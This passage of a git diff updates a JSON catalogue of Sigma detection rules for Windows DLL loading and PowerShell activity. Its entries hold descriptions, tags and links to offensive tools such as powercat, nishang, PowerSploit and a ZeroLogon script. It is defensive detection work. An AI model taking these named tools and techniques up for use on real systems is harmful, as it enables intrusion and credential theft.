"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml" ], "tags": [ @@ -22650,9 +22268,9 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/hunts/windows/200902-RemoteWMIActiveScriptEventConsumers/notebook.html", - "https://twitter.com/HunterPlaybook/status/1301207718355759107", "https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/", + "https://twitter.com/HunterPlaybook/status/1301207718355759107", + "https://threathunterplaybook.com/hunts/windows/200902-RemoteWMIActiveScriptEventConsumers/notebook.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_wmi_scripteventconsumer.yml" ], "tags": [ @@ -22732,9 +22350,9 @@ "logsource.product": "windows", "refs": [ "https://github.com/bohops/WSMan-WinRM", - "https://twitter.com/chadtilbury/status/1275851297770610688", "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", "https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-architecture", + "https://twitter.com/chadtilbury/status/1275851297770610688", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml" ], "tags": [ @@ -22921,8 +22539,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://twitter.com/wdormann/status/1547583317410607110", "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC", + "https://twitter.com/wdormann/status/1547583317410607110", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml" ], "tags": [ @@ -23116,8 +22734,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/16", "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/7.A.1_3B4E5808-3C71-406A-B181-17B0CE3178C9.md", + "https://github.com/OTRF/detection-hackathon-apt29/issues/16", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_system_drawing_load.yml" ], "tags": [ @@ -23173,6 +22791,48 @@ "uuid": "facd1549-e416-48e0-b8c4-41d7215eedc8", "value": "Amsi.DLL Load By Uncommon Process" }, + { + "description": "Detects potential DLL sideloading of \"SolidPDFCreator.dll\"", + "meta": { + "author": "X__Junior (Nextron Systems)", + "creation_date": "2023/05/07", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_side_load_solidpdfcreator.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://lab52.io/blog/new-mustang-pandas-campaing-against-australia/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_solidpdfcreator.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ] + }, + "related": [ + { + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "a2edbce1-95c8-4291-8676-0d45146862b3", + "value": "Potential SolidPDFCreator.DLL Sideloading" + }, { "description": "Detects WMI command line event consumers", "meta": { @@ -23262,12 +22922,12 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/", - "https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/", - "http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html", "https://github.com/Wh04m1001/SysmonEoP", + "https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/", "https://decoded.avast.io/martinchlumecky/png-steganography/", + "http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html", "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992", + "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_non_existent_dlls.yml" ], "tags": [ @@ -23349,7 +23009,7 @@ "Legitimate applications loading their own versions of the DLL mentioned in this rule" ], "filename": "image_load_side_load_dbgcore_dll.yml", - "level": "high", + "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ @@ -23381,7 +23041,7 @@ } ], "uuid": "9ca2bf31-0570-44d8-a543-534c47c33ed7", - "value": "DLL Sideloading Of DBGCORE.DLL" + "value": "Potential DLL Sideloading Of DBGCORE.DLL" }, { "description": "Detects potential DLL sideloading using JUSTSYSTEMS Japanese word processor", @@ -23396,8 +23056,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalface-targeting-japanese-political-entities/", "http://www.windowexe.com/bbs/board.php?q=jsschhlp-exe-c-program-files-common-files-justsystem-jsschhlp-jsschhlp", + "https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalface-targeting-japanese-political-entities/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_jsschhlp.yml" ], "tags": [ @@ -23548,10 +23208,10 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://hijacklibs.net/", - "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", - "https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md", "https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/", + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", + "https://hijacklibs.net/", + "https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_from_non_system_location.yml" ], "tags": [ @@ -23672,8 +23332,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://adsecurity.org/?p=2921", "https://github.com/p3nt4/PowerShdll", + "https://adsecurity.org/?p=2921", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_system_management_automation_susp_load.yml" ], "tags": [ @@ -23902,8 +23562,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.py2exe.org/", "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/", + "https://www.py2exe.org/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml" ], "tags": [ @@ -23936,10 +23596,10 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ + "https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008", + "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", "https://thewover.github.io/Introducing-Donut/", "https://github.com/tyranid/DotNetToJScript", - "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", - "https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml" ], "tags": [ @@ -23973,9 +23633,9 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6", "https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump", "https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html", + "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_dbghelp_dbgcore_susp_load.yml" ], "tags": [ @@ -24008,8 +23668,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_malware_pingback_backdoor.yml" ], "tags": [ @@ -24075,8 +23735,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/6d8cabb0-dcda-44b6-8050-28d6ce281687/", "https://blogs.blackberry.com/en/2022/12/mustang-panda-uses-the-russian-ukrainian-war-to-attack-europe-and-asia-pacific-targets", + "https://app.any.run/tasks/6d8cabb0-dcda-44b6-8050-28d6ce281687/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_classicexplorer32.yml" ], "tags": [ @@ -24115,7 +23775,7 @@ "Legitimate applications loading their own versions of the DLL mentioned in this rule" ], "filename": "image_load_side_load_dbghelp_dll.yml", - "level": "high", + "level": "medium", "logsource.category": "image_load", "logsource.product": "windows", "refs": [ @@ -24147,7 +23807,7 @@ } ], "uuid": "6414b5cd-b19d-447e-bb5e-9f03940b5784", - "value": "DLL Sideloading Of DBGHELP.DLL" + "value": "Potential DLL Sideloading Of DBGHELP.DLL" }, { "description": "Detects SILENTTRINITY stager dll loading activity", @@ -24294,8 +23954,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.trendmicro.com/en_us/research/23/c/earth-preta-updated-stealthy-strategies.html", "https://hijacklibs.net/entries/3rd_party/vlc/libvlc.html", + "https://www.trendmicro.com/en_us/research/23/c/earth-preta-updated-stealthy-strategies.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_libvlc.yml" ], "tags": [ @@ -24490,63 +24150,6 @@ "uuid": "90217a70-13fc-48e4-b3db-0d836c5824ac", "value": "GAC DLL Loaded Via Office Applications" }, - { - "description": "Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/09/07", - "falsepositive": [ - "Rarely observed" - ], - "filename": "image_load_usp_svchost_clfsw32.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_usp_svchost_clfsw32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ] - }, - "related": [ - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "33a2d1dd-f3b0-40bd-8baf-7974468927cc", - "value": "APT PRIVATELOG Image Load Pattern" - }, - { - "description": "Detects DLL load activity of known compromised DLLs used in by the compromised 3CXDesktopApp", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/31", - "falsepositive": [ - "Unlikely" - ], - "filename": "image_load_malware_3cx_compromise_susp_dll.yml", - "level": "critical", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_malware_3cx_compromise_susp_dll.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "d0b65ad3-e945-435e-a7a9-438e62dd48e9", - "value": "Malicious DLL Load By Compromised 3CXDesktopApp" - }, { "description": "Detects processes loading the non-existent DLL \"ShellChromeAPI\". One known example is the \"DeviceEnroller\" binary in combination with the \"PhoneDeepLink\" flag tries to load this DLL.\nAdversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter\n", "meta": { @@ -24856,6 +24459,49 @@ "uuid": "829a3bdf-34da-4051-9cf4-8ed221a8ae4f", "value": "Microsoft Office DLL Sideload" }, + { + "description": "Detects potential DLL sideloading of \"libcurl.dll\" by the \"gup.exe\" process from an uncommon location", + "meta": { + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/05/05", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_side_load_gup_libcurl.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_gup_libcurl.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ] + }, + "related": [ + { + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "e49b5745-1064-4ac1-9a2e-f687bc2dd37e", + "value": "Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE" + }, { "description": "Detects VB DLL's loaded by an office application. Which could indicate the presence of VBA Macros.", "meta": { @@ -24902,9 +24548,9 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://securitydatasets.com/notebooks/small/windows/06_credential_access/SDWIN-201020013208.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password", "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa", + "https://securitydatasets.com/notebooks/small/windows/06_credential_access/SDWIN-201020013208.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uipromptforcreds_dlls.yml" ], "tags": [ @@ -24971,9 +24617,9 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://twitter.com/mattifestation/status/1196390321783025666", "https://twitter.com/oulusoyum/status/1191329746069655553", "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", + "https://twitter.com/mattifestation/status/1196390321783025666", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_tttracer_mod_load.yml" ], "tags": [ @@ -25090,8 +24736,8 @@ "logsource.product": "windows", "refs": [ "https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/", - "https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19", "https://github.com/RiccardoAncarani/LiquidSnake", + "https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_scripting.yml" ], "tags": [ @@ -25124,8 +24770,8 @@ "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ - "https://github.com/besimorhino/powercat", "https://nmap.org/ncat/", + "https://github.com/besimorhino/powercat", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_powercat.yml" ], @@ -25160,8 +24806,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/bohops/WSMan-WinRM", - "https://twitter.com/chadtilbury/status/1275851297770610688", "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", + "https://twitter.com/chadtilbury/status/1275851297770610688", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_wsman_com_provider_no_powershell.yml" ], "tags": [ @@ -25725,8 +25371,8 @@ "logsource.product": "windows", "refs": [ "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", - "https://www.mdeditor.tw/pl/pgRt", "https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/", + "https://www.mdeditor.tw/pl/pgRt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml" ], "tags": [ @@ -25760,8 +25406,8 @@ "logsource.product": "windows", "refs": [ "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges", - "https://github.com/samratashok/ADModule", "https://twitter.com/cyb3rops/status/1617108657166061568?s=20", + "https://github.com/samratashok/ADModule", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_active_directory_module_dll_import.yml" ], "tags": [ @@ -25786,8 +25432,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/16", "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.md", + "https://github.com/OTRF/detection-hackathon-apt29/issues/16", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_clipboard.yml" ], "tags": [ @@ -25820,8 +25466,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/8", "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.md", + "https://github.com/OTRF/detection-hackathon-apt29/issues/8", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml" ], "tags": [ @@ -26004,8 +25650,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", "https://github.com/MichaelGrafnetter/DSInternals/blob/7ba59c12ee9a1cb430d7dc186a3366842dd612c8/Documentation/PowerShell/Get-ADDBAccount.md", + "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_addbaccount.yml" ], "tags": [ @@ -26114,19 +25760,22 @@ "logsource.product": "windows", "refs": [ "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", - "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", - "https://github.com/calebstewart/CVE-2021-1675", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", - "https://github.com/HarmJ0y/DAMP", - "https://github.com/samratashok/nishang", - "https://github.com/DarkCoderSc/PowerRunAsSystem/", - "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", - "https://github.com/besimorhino/powercat", - "https://adsecurity.org/?p=2921", - "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html", + "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", + "https://github.com/adrecon/ADRecon", + "https://github.com/HarmJ0y/DAMP", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://github.com/calebstewart/CVE-2021-1675", + "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", + "https://github.com/samratashok/nishang", + "https://github.com/besimorhino/powercat", + "https://adsecurity.org/?p=2921", + "https://github.com/Kevin-Robertson/Powermad", + "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", + "https://github.com/DarkCoderSc/PowerRunAsSystem/", + "https://github.com/adrecon/AzureADRecon", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_malicious_commandlets.yml" ], @@ -26493,22 +26142,22 @@ "logsource.product": "windows", "refs": [ "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", + "https://github.com/NetSPI/PowerUpSQL", "https://github.com/HarmJ0y/DAMP", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", "https://github.com/samratashok/nishang", - "https://github.com/AlsidOfficial/WSUSpendu/", - "https://github.com/nettitude/Invoke-PowerThIEf", - "https://github.com/DarkCoderSc/PowerRunAsSystem/", - "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", "https://github.com/besimorhino/powercat", "https://github.com/PowerShellMafia/PowerSploit", - "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", - "https://github.com/S3cur3Th1sSh1t/WinPwn", + "https://github.com/AlsidOfficial/WSUSpendu/", "https://github.com/CsEnox/EventViewer-UACBypass", + "https://github.com/nettitude/Invoke-PowerThIEf", "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", - "https://github.com/NetSPI/PowerUpSQL", + "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", + "https://github.com/DarkCoderSc/PowerRunAsSystem/", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/S3cur3Th1sSh1t/WinPwn", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_exploit_scripts.yml" ], "tags": [ @@ -27332,8 +26981,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://techgenix.com/malicious-powershell-scripts-evade-detection/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md", + "https://techgenix.com/malicious-powershell-scripts-evade-detection/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_detect_vm_env.yml" ], "tags": [ @@ -27450,10 +27099,10 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://powersploit.readthedocs.io/en/stable/Recon/README", "https://adsecurity.org/?p=2277", - "https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon", + "https://powersploit.readthedocs.io/en/stable/Recon/README", "https://thedfirreport.com/2020/10/08/ryuks-return", + "https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml" ], "tags": [ @@ -27528,8 +27177,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", "https://twitter.com/bohops/status/948061991012327424", + "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript.yml" ], "tags": [ @@ -27630,9 +27279,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "https://www.cisa.gov/uscert/sites/default/files/publications/aa22-320a_joint_csa_iranian_government-sponsored_apt_actors_compromise_federal%20network_deploy_crypto%20miner_credential_harvester.pdf", - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_computer_discovery_get_adcomputer.yml" ], "tags": [ @@ -27652,6 +27301,40 @@ "uuid": "db885529-903f-4c5d-9864-28fe199e6370", "value": "Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell" }, + { + "description": "Detects calls to \"Add-Content\" cmdlet in order to modify the content of the user profile and potentially adding suspicious commands for persistence", + "meta": { + "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2021/08/18", + "falsepositive": [ + "Legitimate administration and tuning scripts that aim to add functionality to a user PowerShell session" + ], + "filename": "posh_ps_user_profile_tampering.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.013/T1546.013.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_user_profile_tampering.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.013" + ] + }, + "related": [ + { + "dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "05b3e303-faf0-4f4a-9b30-46cc13e69152", + "value": "Potential Persistence Via PowerShell User Profile Using Add-Content" + }, { "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", "meta": { @@ -27833,10 +27516,10 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "http://powershellhelp.space/commands/set-netfirewallrule-psv5.php", "http://woshub.com/manage-windows-firewall-powershell/", - "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", "https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell", + "http://powershellhelp.space/commands/set-netfirewallrule-psv5.php", + "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", "https://docs.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2019-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_windows_firewall_profile_disabled.yml" ], @@ -27870,8 +27553,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.accountmanagement?view=dotnet-plat-ext-6.0", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell", + "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.accountmanagement?view=dotnet-plat-ext-6.0", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directoryservices_accountmanagement.yml" ], "tags": [ @@ -28027,10 +27710,10 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://youtu.be/5mqid-7zp8k?t=2481", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://youtu.be/5mqid-7zp8k?t=2481", "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_mailboxexport_share.yml" ], "tags": [ @@ -28106,6 +27789,40 @@ "uuid": "7d416556-6502-45b2-9bad-9d2f05f38997", "value": "Powershell Sensitive File Discovery" }, + { + "description": "Detects PowerShell scripts that have capabilities to read files, loop through them and resolve DNS host entries.", + "meta": { + "author": "Nasreddine Bencherchali 